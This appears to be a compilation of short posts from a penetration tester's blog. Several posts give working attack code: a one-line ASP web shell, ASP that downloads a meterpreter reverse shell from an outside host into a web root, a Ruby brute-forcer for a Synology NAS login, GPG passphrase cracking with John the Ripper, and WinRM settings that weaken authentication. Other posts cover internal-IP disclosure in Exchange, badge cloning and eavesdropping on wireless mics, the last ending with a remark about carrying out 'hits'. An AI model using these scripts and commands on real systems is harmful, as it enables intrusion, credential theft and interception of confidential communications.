Testing for Microsoft Exchange Autodiscover Internal IP Disclosure

So it turns out that if you request your targets autodiscover xml file without specifying a host, it will put in its internal IP into the "Realm" response header. One important thing that people done seem to mention is that you need to request the xml file using HTTP 1.0 not the default of 1.1. Below is the curl line i tend to use to test for it:

curl -i -k https://targetip/autodiscover/autodiscover.xml -0 -H "Host:"
HTTP/1.1 401 Unauthorized
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-SOAP-Enabled: True
X-WSSecurity-Enabled: True
X-WSSecurity-For: None
X-AspNet-Version: 2.0.50727
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm="192.168.50.30"
X-Powered-By: ASP.NET
Connection: close
Content-Length: 58

If you exclude the -0 (to use http 1.0) you will get a 400 bad request.
If your request includes something in the Host header, the server will place that in the Realm header instead of the internal IP.

Cracking GPG key passwords using John The Ripper

Did you get your hands on a private key somewhere? Is it asking you for a password if you try to use the key in some way?

Let's talk about how to crack that password so you can use it.

First lets create a key to crack:

$ gpg --gen-key
gpg (GnuPG) 1.4.19; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: jimbo
Email address: jimbo@example.com
Comment: jimbo's key
You selected this USER-ID:
    "jimbo (jimbo's key) <jimbo@example.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
..+++++
..+++++
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
........+++++
.................+++++
gpg: key 7F636DEB marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
pub   4096R/7F636DEB 2015-08-21
      Key fingerprint = 61B7 3F7E 3A9E A4FB 312C  8E6D 826C 698C 7F63 6DEB
uid                  jimbo (jimbo's key) <jimbo@example.com>
sub   4096R/0AE4F026 2015-08-21

The generation process imports the key automatically, lets view it and make sure it worked by running:

$gpg --list-keys jimbo
pub   4096R/7F636DEB 2015-08-21
uid                  jimbo (jimbo's key) <jimbo@example.com>
sub   4096R/0AE4F026 2015-08-21

Cool, now that we know it generated, lets export it to a file. This is similar to what happens when you come across a priv/pub keypair on a fileshare or something:

$ gpg --export-secret-key --armor jimbo > jimbo.priv
$ ls -l jimbo.priv
-rw-r--r--  1 user  user  6697 Aug 21 11:58 jimbo.priv

Now we have the private key (which actually includes the public inside it as well) in a file. At this point, an attacker would download this file locally and run John The Ripper on it.

The first thing the attacker needs to do is convert it to a john friendly format. The jumbo pack version of jtr has a tool called gpg2john:

$ ./gpg2john asdfgpg.priv > gpghashtest

Then crack like normal with JTR:

$ ./john gpghashtest
Warning: detected hash type "gpg", but the string is also recognized as "gpg-opencl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1234             (jimbo)
Session completed

Running commands through WinRM

I followed both http://blogs.technet.com/b/askperf/archive/2010/09/24/an-introduction-to-winrm-basics.aspx and https://github.com/WinRb/WinRM to get winrm up and working and running remote commands.

WinRM appears to be a soap based shell allowing users/admins to connect in and run commands or scripts or whatever. It's basically a remote administration/management tool. All the tests i performed was on a windows 7 box.

Something to note is that the http port it runs on is 5985, https is on 5986. Neither of these ports are in nmap's default port scan list (top 1000) so unless you are looking for it, you could miss it.

In nmap it shows up as:

Nmap scan report for 192.168.1.118
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So no super obvious signs that its WinRM listening on the port. I think the only thing you could really go off of is the actual port number and know that its a windows system.

Luckily someone created a ruby library that interacts with WinRM and allows you to connect to it and run commands.

When i first the github example, it was giving me auth issues so i had to run the following to get it to shut up and accept my creds:

winrm set winrm/config/client/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service @{AllowUnencrypted="true"}

Once I ran that on the server, the library stopped giving me auth errors. I was able to run ipconfig on the remote system and it spat back the results.

so yay...

One Line ASP Shell

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Request with http://target/shell.asp?cmd=ipconfig

Write to local file from ASP

I'm currently doing an exercise that requires me to have a server pull a reverse meterpreter asp shell from a remote location and store it to a specific file location on the server filesystem. This is the ASP code I ended up creating:

<%

Function GetTextFromUrl(url)

  Dim oXMLHTTP
  Dim strStatusTest

  Set oXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.3.0")

  oXMLHTTP.Open "GET", url, False
  oXMLHTTP.Send

  If oXMLHTTP.Status = 200 Then

    GetTextFromUrl = oXMLHTTP.responseText

  End If

End Function

Dim sResult : sResult = GetTextFromUrl("http://192.168.50.172/meta.txt")
response.write sResult

dim fs,f
set fs=Server.CreateObject("Scripting.FileSystemObject")
set f=fs.CreateTextFile("C:/Program Files (x86)/WEBSERVERHERE/test.asp",true)
f.write(sResult)
f.close
set f=nothing
set fs=nothing
%>

"http://192.168.50.172/meta.txt" is the meterpreter ASP shell saved as a txt file.

"C:/Program Files (x86)/WEBSERVERHERE/test.asp" is what the meta.txt file will be saved as on the server's filesystem. Ideally you'd save that asp shell to a directory accessible via the web, because simply visiting the .asp file will execute it to reverse connect to your multi handler.

Writing a web form bruteforcer in Ruby

Testing weak credentials on web application or devices that use web form authentication is a very common and popular thing to do during pentests. A lot of times, you'll come across a device and the only way to interact with the device is via the web interface. A web interface that commonly requires authentication via submitted form fields.

I decided I wanted to write my own bruteforcer for a Synology NAS I happen to have on hand. Now people commonly suggest using Nokogiri to interact and parse webpages. Thats all fine and dandy for the simpler/more straightforward webcode, but when you start getting into web2.0 stuff or if you just dont want to deal with it, I've found that Mechanize helps tremendously.

Below is the final code i came up with. It's fairly simple. It takes in a file called "passlist.txt" which will be the password dictionary file, and for every password in that file it will attempt a login to the login webpage. It will detect the returned response body for a success or failure. (this is mainly meant as a PoC, not as a tool)

require 'rubygems'
require 'mechanize'
#this script will brute force the web form login for a synology nas

passwordlist = File.open("passlist.txt")
agent = Mechanize.new{|a| 
    a.verify_mode = OpenSSL::SSL::VERIFY_NONE
    #a.set_proxy('localhost',8080)
    }
target = 'https://NASIPHere:5001/webman/index.cgi'
user = 'admin'

passwordlist.each do |password|
    page  = agent.get target

    # Fill out the login form
    form          = page.form_with :id => 'login-form'
    form.username = user
    form.passwd   = password.chomp #this is important otherwise the newline will break the auth and everything fails
    result = form.submit

    case
    when result.body =~ /"success" : false/ then puts "Failure with #{password}"
    when result.body =~ /"success" : true/ then puts "SUCCESSFUL LOGIN WITH #{password}"
    else puts "Unknown response body when using \"#{password}\": #{result.body}"
    end
end

Running the script yields the following output:

ruby synology-web-form-brute.rb
Failure with admin
SUCCESSFUL LOGIN WITH yoloswag
Failure with kittens

Again, this is not meant to be fancy/groundbreaking/or anything other than some code to copy and paste if you need to.

(There are a variety of tools that will do the same thing or a very similar attack much faster than this, such as hydra/medusa/burp/etc.)

Getting the Proxmark3 working

I recently got a proxmark3 for RFID testing and had to get the environment set up properly. I downloaded the precompiled client tools the manual suggests, but it kept asking for a specific version of GLIBC which i could not find packages for for the life of me. I ended getting their source code off their github and compiling the client tools right there. Works perfectly.

1. Download the 64bit version of kali
2. Set up a virtual machine (or install to disk) with kali on it
3. git clone https://github.com/Proxmark/proxmark3
4. cd into the proxmark3/client directory
5. run make to compile the files
6. call the client interface with ./proxmark3 /dev/ttyACM0 (or whatever device it shows up as for you)


Now it should drop you into the proxmark3 interactive shell. Here you can do things like read basic corporate badges with 'lf hid fskdemod' or play it back with 'lf hid sim codehere' or clone the cards onto physical T55x7 cards.

In any case, here are some important links:
Source: https://github.com/Proxmark/proxmark3
Proxbrute and other utilities: http://www.mcafee.com/us/resources/white-papers/foundstone/wp-proxbrute.pdf
Github Wiki: https://github.com/Proxmark/proxmark3/wiki/commands
User Manual (for my version): http://ryscc.com/products/PM3PRD/dl/PM3-UserGuide-20140401.pdf

Bug Bounties And What Hackers Get Paid

I discovered https://hackerone.com recently. It's a platform companies can sign up for that gives them an avenue for researchers to disclose security vulnerabilities about their site along the lines of "responsible disclosure".

I was curious as to what vulnerabilities were published, and their amounts. Well, when a vulnerability is made public, hackerone puts it on their site with the amount on the same page. Having done network pentests for the last 4 years (professionally) it's hard not to lolwtfbbq at how easy/simple it is to identify some of the bugs listed, and a lot of them are paying out hundreds of dollars for what amounts to about 30 seconds of work.....i'm in the wrong business...

In any case, i've parsed through their public listing and compiled a list of links for people to read. At the time of this blog post, 240 vulnerabilities were publicly released:

https://hackerone.com/reports/38232
https://hackerone.com/reports/38170
https://hackerone.com/reports/37622
https://hackerone.com/reports/26935
https://hackerone.com/reports/32570
https://hackerone.com/reports/8846
https://hackerone.com/reports/33935
https://hackerone.com/reports/20873
https://hackerone.com/reports/36264
https://hackerone.com/reports/501
https://hackerone.com/reports/35102
https://hackerone.com/reports/33083
https://hackerone.com/reports/34112
https://hackerone.com/reports/32825
https://hackerone.com/reports/33091
https://hackerone.com/reports/31168
https://hackerone.com/reports/28832
https://hackerone.com/reports/29288
https://hackerone.com/reports/27357
https://hackerone.com/reports/31383
https://hackerone.com/reports/26527
https://hackerone.com/reports/29491
https://hackerone.com/reports/12497
https://hackerone.com/reports/27651
https://hackerone.com/reports/29360
https://hackerone.com/reports/29328
https://hackerone.com/reports/27704
https://hackerone.com/reports/29839
https://hackerone.com/reports/29480
https://hackerone.com/reports/29331
https://hackerone.com/reports/28865
https://hackerone.com/reports/18501
https://hackerone.com/reports/14552
https://hackerone.com/reports/28150
https://hackerone.com/reports/27987
https://hackerone.com/reports/27704
https://hackerone.com/reports/28450
https://hackerone.com/reports/28449
https://hackerone.com/reports/28445
https://hackerone.com/reports/15412
https://hackerone.com/reports/27404
https://hackerone.com/reports/27166
https://hackerone.com/reports/27511
https://hackerone.com/reports/27846
https://hackerone.com/reports/27389
https://hackerone.com/reports/26700
https://hackerone.com/reports/5314
https://hackerone.com/reports/26825
https://hackerone.com/reports/25332
https://hackerone.com/reports/25334
https://hackerone.com/reports/14631
https://hackerone.com/reports/17506
https://hackerone.com/reports/25281
https://hackerone.com/reports/23098
https://hackerone.com/reports/16414
https://hackerone.com/reports/15762
https://hackerone.com/reports/18507
https://hackerone.com/reports/25160
https://hackerone.com/reports/21110
https://hackerone.com/reports/12708
https://hackerone.com/reports/23386
https://hackerone.com/reports/10468
https://hackerone.com/reports/12583
https://hackerone.com/reports/23363
https://hackerone.com/reports/11414
https://hackerone.com/reports/18698
https://hackerone.com/reports/17160
https://hackerone.com/reports/21210
https://hackerone.com/reports/17474
https://hackerone.com/reports/22093
https://hackerone.com/reports/16330
https://hackerone.com/reports/6700
https://hackerone.com/reports/21069
https://hackerone.com/reports/17688
https://hackerone.com/reports/18279
https://hackerone.com/reports/21150
https://hackerone.com/reports/16568
https://hackerone.com/reports/8284
https://hackerone.com/reports/8281
https://hackerone.com/reports/7779
https://hackerone.com/reports/21248
https://hackerone.com/reports/15166
https://hackerone.com/reports/15852
https://hackerone.com/reports/14570
https://hackerone.com/reports/20861
https://hackerone.com/reports/20671
https://hackerone.com/reports/10373
https://hackerone.com/reports/7608
https://hackerone.com/reports/6665
https://hackerone.com/reports/10081
https://hackerone.com/reports/9919
https://hackerone.com/reports/9921
https://hackerone.com/reports/5442
https://hackerone.com/reports/6702
https://hackerone.com/reports/12685
https://hackerone.com/reports/2598
https://hackerone.com/reports/8082
https://hackerone.com/reports/13959
https://hackerone.com/reports/18851
https://hackerone.com/reports/18850
https://hackerone.com/reports/18849
https://hackerone.com/reports/18721
https://hackerone.com/reports/17903
https://hackerone.com/reports/18295
https://hackerone.com/reports/17909
https://hackerone.com/reports/17896
https://hackerone.com/reports/7264
https://hackerone.com/reports/18691
https://hackerone.com/reports/18389
https://hackerone.com/reports/6322
https://hackerone.com/reports/6268
https://hackerone.com/reports/6195
https://hackerone.com/reports/6194
https://hackerone.com/reports/14699
https://hackerone.com/reports/17540
https://hackerone.com/reports/17383
https://hackerone.com/reports/10563
https://hackerone.com/reports/13748
https://hackerone.com/reports/13388
https://hackerone.com/reports/15362
https://hackerone.com/reports/16718
https://hackerone.com/reports/16571
https://hackerone.com/reports/16392
https://hackerone.com/reports/16315
https://hackerone.com/reports/4461
https://hackerone.com/reports/2628
https://hackerone.com/reports/12588
https://hackerone.com/reports/11410
https://hackerone.com/reports/15785
https://hackerone.com/reports/7813
https://hackerone.com/reports/2168
https://hackerone.com/reports/1533
https://hackerone.com/reports/11927
https://hackerone.com/reports/13286
https://hackerone.com/reports/7266
https://hackerone.com/reports/11861
https://hackerone.com/reports/10554
https://hackerone.com/reports/1538
https://hackerone.com/reports/6704
https://hackerone.com/reports/10037
https://hackerone.com/reports/8724
https://hackerone.com/reports/9318
https://hackerone.com/reports/10829
https://hackerone.com/reports/6182
https://hackerone.com/reports/6674
https://hackerone.com/reports/4836
https://hackerone.com/reports/6353
https://hackerone.com/reports/10297
https://hackerone.com/reports/9774
https://hackerone.com/reports/7531
https://hackerone.com/reports/5933
https://hackerone.com/reports/7369
https://hackerone.com/reports/7357
https://hackerone.com/reports/6883
https://hackerone.com/reports/4256
https://hackerone.com/reports/9391
https://hackerone.com/reports/9375
https://hackerone.com/reports/5928
https://hackerone.com/reports/7803
https://hackerone.com/reports/2140
https://hackerone.com/reports/6877
https://hackerone.com/reports/7041
https://hackerone.com/reports/7036
https://hackerone.com/reports/6935
https://hackerone.com/reports/6350
https://hackerone.com/reports/2421
https://hackerone.com/reports/6907
https://hackerone.com/reports/6872
https://hackerone.com/reports/6871
https://hackerone.com/reports/7441
https://hackerone.com/reports/6910
https://hackerone.com/reports/7277
https://hackerone.com/reports/6884
https://hackerone.com/reports/7121
https://hackerone.com/reports/6626
https://hackerone.com/reports/6389
https://hackerone.com/reports/6380
https://hackerone.com/reports/5786
https://hackerone.com/reports/4561
https://hackerone.com/reports/3039
https://hackerone.com/reports/4409
https://hackerone.com/reports/2127
https://hackerone.com/reports/4690
https://hackerone.com/reports/4689
https://hackerone.com/reports/4638
https://hackerone.com/reports/3441
https://hackerone.com/reports/2427
https://hackerone.com/reports/3986
https://hackerone.com/reports/4114
https://hackerone.com/reports/3930
https://hackerone.com/reports/3921
https://hackerone.com/reports/2575
https://hackerone.com/reports/2559
https://hackerone.com/reports/3596
https://hackerone.com/reports/3227
https://hackerone.com/reports/1675
https://hackerone.com/reports/3455
https://hackerone.com/reports/2439
https://hackerone.com/reports/2735
https://hackerone.com/reports/3356
https://hackerone.com/reports/2777
https://hackerone.com/reports/2622
https://hackerone.com/reports/2617
https://hackerone.com/reports/2625
https://hackerone.com/reports/2652
https://hackerone.com/reports/2584
https://hackerone.com/reports/2221
https://hackerone.com/reports/914
https://hackerone.com/reports/2170
https://hackerone.com/reports/2245
https://hackerone.com/reports/2228
https://hackerone.com/reports/2233
https://hackerone.com/reports/2224
https://hackerone.com/reports/916
https://hackerone.com/reports/2107
https://hackerone.com/reports/2106
https://hackerone.com/reports/1509
https://hackerone.com/reports/1356
https://hackerone.com/reports/960
https://hackerone.com/reports/809
https://hackerone.com/reports/774
https://hackerone.com/reports/742
https://hackerone.com/reports/727
https://hackerone.com/reports/737
https://hackerone.com/reports/738
https://hackerone.com/reports/713
https://hackerone.com/reports/547
https://hackerone.com/reports/523
https://hackerone.com/reports/500
https://hackerone.com/reports/499
https://hackerone.com/reports/487
https://hackerone.com/reports/477
https://hackerone.com/reports/400
https://hackerone.com/reports/390
https://hackerone.com/reports/353
https://hackerone.com/reports/321
https://hackerone.com/reports/288
https://hackerone.com/reports/284
https://hackerone.com/reports/280
https://hackerone.com/reports/120

Super Simple Shell Spawner in C

I needed this code for a project i was working on. Keeping it here for posterity:

#include "stdlib.h"
int main(){
  system("/bin/sh");
}

"Hacking" Wireless Mics

This isn't really a hack. Wireless Mics are glorified walkie-talkies with a little extra speech smoothing fanciness.

I was playing around with some Sony wireless mics and i noticed a label on the back stating the frequency they operate in. The label said "638.125-661.875". I grabbed my hackrf one and plugged it in. It should be noted that in that frequency range, an RTL-SDR dongle would work as well.

Once I plugged in my HackRF One, I ran hackrf_info to make sure it was recognized and then started gqrx.

I tuned gqrx to the start of the range, 638.125. I was pleased to find that this was the frequency used by "Channel 1" setting on the wireless mic. I flipped the switch on the mic, and bam. A very strong signal appeared on my screen. I centered the cursor over that, adjusted the squelch to tune out the background noise and turned up the volume so i could hear. Lo, and behold thats all that was needed.

Turns out that the wireless mics simply are FM transmitters broadcasting the audio so the receiver unit can pick it up. Well, in this set up my hackrf is the receiver. 

Now, once i learned this i kind of facepalmed a little. 

Someone asked me what the big deal is with this. I told them that lots of times the communications being held over these wireless mics can be confidential. Broadcasting confidential info usually is what people try to avoid.

A great real word example of utilizing this info would be if a reporter is doing an interview with a high profile individual and wants everything to be kept secret until the airing. Well, if someone knew the building the recording was happening, they could record the audio of the wireless mic and break the story first.

Or worse, use the story info to determine if they should carry out hits to keep people quiet.